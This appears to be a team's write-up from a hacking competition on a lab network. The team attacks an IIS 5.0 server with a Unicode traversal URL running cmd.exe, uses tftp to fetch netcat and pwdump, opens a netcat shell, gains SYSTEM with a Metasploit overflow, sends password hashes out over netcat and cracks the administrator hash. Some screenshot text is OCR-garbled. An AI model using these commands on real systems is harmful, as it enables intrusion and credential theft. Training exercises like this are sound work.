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[root@Team1 ~]# cat /etc/motd

Hello boyz and girlz!!!!

Welcome to our little shindig :P

Today kiddies you are tasked with successfully executing the 'infamous' IIS 5.0 Unicode attack.

Our purpose for using this particular attack is that it will force you to demonstrate a series of very important hacking skills.

NOTE: If you successfully exploit the target without following each step properly not only will your exploit not count, you may be disqualified: P

Let's get to it!!!!!

Step 0x01: Research the Unicode attack

* Send me an email at joe@learnsecurityonline.com with at least two (2) web links that detail the vulnerability

For our research step, we referenced the following resources:

http://www.securityfocus.com/bid/1806
http://www.hackingspirits.com/eth-hac/papers/iis_uni.html
https://www.kb.cert.org/vuls/id/111677
Step 0x02: Execute the Unicode attack

        * Send me an email with a directory listing of the "c:\inetpub\scripts" and "c:\" directories

        * The email must also include a screenshot of you executing the attack

To list the C:\inetpub\scripts directory, we executed the following: 

http://192.168.201.124/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
[root@Team1 root]# cat scripts.txt

Directory of c:\inetpub\scripts

11/03/2006  09:10p      <DIR>          .

11/03/2006  09:10p      <DIR>          ..

12/07/1999  12:00p             236,304 sensepost.exe

11/03/2006  09:10p                   0 TFTP624

10/06/2006  02:41p             985,088 w3who.dll

               3 File(s)      1,221,392 bytes

               2 Dir(s)   2,377,543,680 bytes free

In order to more easily traverse the target machine, we realized the need for an executable file to exploit the machine. As typing each IIS Unicode string was taking to much time. To list the root directory (C:\), we used unicodexecute2.pl, which we renamed to uni.pl and placed in our home dir for easy access. On reviewing the source of unicodeexecute2.pl, we saw that it called the Sensepost.exe file for executing commands sent to it from the exploit. We noticed that the file was already in the server and decided to utilize this. Most of our commands were done using this file.

[root@Team1 root]# ./uni.pl 192.168.201.124:80 "cd c:\&& dir"

Sensepost.exe found - Executing [cd c:\&& dir] on 192.168.201.124:80

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Sat, 04 Nov 2006 21:34:53 GMT

Content-Type: application/octet-stream

Volume in drive C has no label.

Volume Serial Number is 28BF-92B0

 Directory of C:\

11/04/2006  01:19p      <DIR>          cygwin

10/06/2006  09:34a      <DIR>          Documents and Settings

11/04/2006  12:29p             319,524 drwtsn32.log

11/04/2006  12:54p      <DIR>          Inetpub

11/04/2006  11:56a      <DIR>          Microsoft UAM Volume

10/06/2006  03:06p               2,403 odbcconf.log

10/06/2006  02:58p      <DIR>          Program Files

10/06/2006  07:53a             305,664 setup.exe

10/06/2006  03:04p      <DIR>          WINNT

               3 File(s)        627,591 bytes

               6 Dir(s)   2,384,433,152 bytes free

Step 0x03: Use http/smb/ftp/tftp to upload nc.exe/pwdump2.exe on the system

 * Figure out how to get nc.exe and pwdump2.exe transferred to your target host

 * After successfully transferring your nc to the system rename it to your team name (e.g.   team1_nc.exe and team1_pwdump2.exe), and then send me an email with the directory listing proving that you have transferred the now team renamed files.

To transfer the files we used our uni.pl script.

[root@Team1 tftpdir]# ./../uni.pl 192.168.201.124:80 "tftp -i 192.168.201.20 GET samdump.dll"

[root@Team1 tftpdir]# ./../uni.pl 192.168.201.124:80 "tftp -i 192.168.201.20 GET pwdump.exe"

[root@Team1 tftpdir]# ./../uni.pl 192.168.201.124:80 "tftp -i 192.168.201.20 GET nc.exe"

Once the files where there we then used uni.pl to execute the nc command line.

[root@Team1 root]# ./uni.pl 192.168.201.124:80 "..\AdminScripts\team1_nc.exe -l -p 7878 -e cmd.exe"&

[root@Team1 root]# Sensepost.exe found - Executing [..\AdminScripts\team1_nc.exe -l -p 7878 -e cmd.exe] on 192.168.201.124:80

[root@Team1 root]# nc 192.168.201.124 7878
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Due to the fact of this being a non-“SYSTEM” shell, we were unable to successfully grab a SAM password hash. A “Permission Denied” from LSASS was habitually occurring, causing us to focus on a SYSTEM exploit. We successfully achieved this by utilized the included MetaSploit “iis50 printer overflow exploit.

[image: image2.png]WS 11550 printer overflow(win? reverse] > exploit
[*] Starting Reverse Handler.

[*] Trying Windows 2000 SPD/SP1 using return to esp at Dx732c45£3.
[*] Got conmection from 192.168.201.20:7676 <-> 192.168.201.124:1386

Microsoft Vindows 2000 [Version 5.00.2185]
(C) Copyright 1985-1999 Nicrosoft Corp.

C:\UINNT} systensz>vhoami
whoami
NT AUTHORITY\SYSTEN
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Bingo! Rerunning pwdump2.exe displayed the administrator hash.

Step 0x04: Use netcat/tftp/ftp to transfer the password hashes locally

We used an easy netcat command to transfer the file from the victim box to our machine.

Target Box: nc –l –p 7575 < info.txt

Local Box: nc 192.168.201.124 7575 > hashes.txt

This simple step allowed us to crack the passwords locally, keeping load and more suspicious activity off of the target machine.

Step 0x05: Crack the password hashes on your attack system

Our plan to crack the password hash was hindered when John the Ripper was not found on the Team 1 box and could not be downloaded. 

The hash was then transferred to omirix’s home box and cracked the password within seconds.

Administrator:500:6a98eb0fb88a449cbe6fabfd825bca61:a4141712f19e9dd5adf16919bb38a95c:::

=

administrator

Team 1 would like to thank the efforts of j0e and his staff at LearnSecurityOnline.com for their continuing efforts to provide fun security training to the masses with events like this.

